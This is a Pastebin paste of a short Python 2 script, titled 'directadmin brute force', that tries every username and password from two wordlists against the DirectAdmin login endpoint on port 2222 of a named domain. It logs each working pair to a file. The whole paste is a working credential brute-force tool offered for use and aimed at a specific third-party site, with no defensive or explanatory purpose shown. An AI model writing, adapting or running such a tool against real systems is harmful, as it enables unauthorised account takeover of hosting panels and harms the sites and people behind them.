Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #directadmin brute force
- #code by parkdream1
- #http://www.youtube.com/user/DevilSecurityX
- import socket
- import re
- USER_LIST = 'user.txt'
- PASS_LIST = 'password.txt'
- TARGET = 'quangcaonewstar.com'
- PORT = 2222
- with open(USER_LIST) as l:
- for line in l:
- line = line.replace("\n","")
- print "Brute Force %s" % line
- with open(PASS_LIST) as f:
- for line1 in f:
- line1 = line1.replace("\n","")
- DATA = 'referer=/&username=%s&password=%s' % (line,line1)
- HEADER = ('POST /CMD_LOGIN HTTP/1.1\r\n' +
- 'Host: %s:%s\r\n' +
- 'User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Firefox/24.0\r\n' +
- 'Connection: close\r\n' +
- 'Content-Type: application/x-www-form-urlencoded\r\n' +
- 'Content-Length: %s\r\n' +
- '\r\n' +
- '%s') % (TARGET,PORT,len(DATA),DATA)
- try:
- s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
- s.connect((TARGET, PORT))
- s.send(HEADER)
- buf = s.recv(18)
- if buf.find('HTTP/1.1 302 Found')>=0:
- print "Password %s Ok"%line1
- open('lst.txt', 'a').write(line + " : " + line1 + "\n")
- s.close()
- break
- else:
- print "Password %s Error"%line1
- s.close()
- except:
- print 'Error'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement